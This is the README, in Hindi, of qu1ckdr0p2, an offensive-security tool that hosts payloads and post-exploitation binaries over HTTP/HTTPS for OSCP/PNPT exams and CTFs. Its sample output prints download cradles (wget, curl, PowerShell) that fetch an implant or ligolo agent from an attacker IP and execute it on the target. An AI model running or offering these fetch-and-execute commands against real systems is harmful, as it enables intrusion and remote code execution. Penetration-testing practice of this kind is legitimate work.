
Flask का उपयोग करके http या https पर फ़ाइलों को तुरंत serve करें।
पेलोड और पोस्ट-एक्सप्लॉइटेशन बाइनरी को HTTP या HTTPS पर तेज़ी से होस्ट करें।
OSCP / PNPT जैसी परीक्षाओं या CTF (जैसे HTB) में उपयोग के लिए डिज़ाइन किया गया।
Pull requests और issues का स्वागत है। किसी भी प्रकार का योगदान स्वीकार्य है।
Qu1ckdr0p2 में एक alias और खोज सुविधा शामिल है। उपकरण qu1ckdr0p2-tools रिपॉजिटरी में स्थित हैं। डिफ़ॉल्ट रूप से, --https विकल्प का उपयोग करते समय यह एक self-signed प्रमाणपत्र उत्पन्न करेगा, और वेबसर्वर चलने पर tun0 इंटरफ़ेस को प्राथमिकता दी जाती है, अन्यथा eth0 का उपयोग होगा।
common.ini फ़ाइल --search और -u विकल्पों में उपयोग किए जाने वाले मैप किए गए alias को परिभाषित करती है।
जब वेबसर्वर चल रहा होता है, तो स्क्रीन पर कई download cradles प्रदर्शित होते हैं जिन्हें कॉपी और पेस्ट किया जा सकता है।
जब आप किसी download cradle को कॉपी और पेस्ट करते हैं, तो आपके टर्मिनल एमुलेटर के आधार पर आपको उसे चुनने के लिए तुरंत ट्रिपल या डबल क्लिक करना पड़ सकता है। इसे बाद के संस्करण में ठीक किया जाएगा।
pip3 install qu1ckdr0p2
echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc
या
echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc
serv init --update
$ serv serve -f implant.bin --https 443
$ serv serve -f file.example --http 8080
$ serv --help
Usage: serv [OPTIONS] COMMAND [ARGS]...
qu1ckdr0p2 के प्रवेश बिंदु में आपका स्वागत है।
Options:
--debug डीबग मोड सक्षम करें।
--help यह संदेश दिखाएं और बाहर निकलें।
Commands:
init अपडेट करें।
serve फ़ाइलें serve करें।
$ serv serve --help
Usage: serv serve [OPTIONS]
फ़ाइलें serve करें।
Options:
-l, --list Aliases सूचीबद्ध करें
-s, --search TEXT Aliases के लिए खोज क्वेरी
-u, --use INTEGER किसी alias का एक डायनामिक नंबर द्वारा उपयोग करें
-f, --file FILE कोई फ़ाइल serve करें
--http INTEGER कस्टम पोर्ट के साथ HTTP का उपयोग करें
--https INTEGER कस्टम पोर्ट के साथ HTTPS का उपयोग करें
-h, --help यह संदेश दिखाएं और बाहर निकलें।
$ serv init --help
Usage: serv init [OPTIONS]
अपडेट करें।
Options:
--update लापता उपकरणों को जांचें और डाउनलोड करें।
--update-self pip का उपयोग करके टूल अपडेट करें।
--update-self-test डेव परीक्षण के लिए उपयोग किया जाता है, अस्थिर बिल्ड इंस्टॉल करता है।
--help यह संदेश दिखाएं और बाहर निकलें।
$ serv init --update
$ serv init --update-self
-u विकल्प के लिए मैप किए गए alias नंबर डायनामिक हैं, इसलिए आपको विशिष्ट नंबर याद रखने या कभी टूल का नाम टाइप करने की आवश्यकता नहीं है।
$ serv serve --search ligolo
[→] पथ: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] उपयोग करें: 1
[→] पथ: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] उपयोग करें: 2
[→] पथ: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] उपयोग करें: 3
[→] पथ: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] उपयोग करें: 4
(...)
$ serv serve --search ligolo -u 3 --http 80
[→] Serve कर रहा है: ../../.qu1ckdr0p2/linux/agent
[→] प्रोटोकॉल: http
[→] IP पता: 192.168.1.5
[→] पोर्ट: 80
[→] इंटरफ़ेस: eth0
[→] बंद करने के लिए CTRL+C दबाएँ
[→] URL: http://192.168.1.5:80/agent
[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'
[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent
⠧ वेब सर्वर चल रहा है
MIT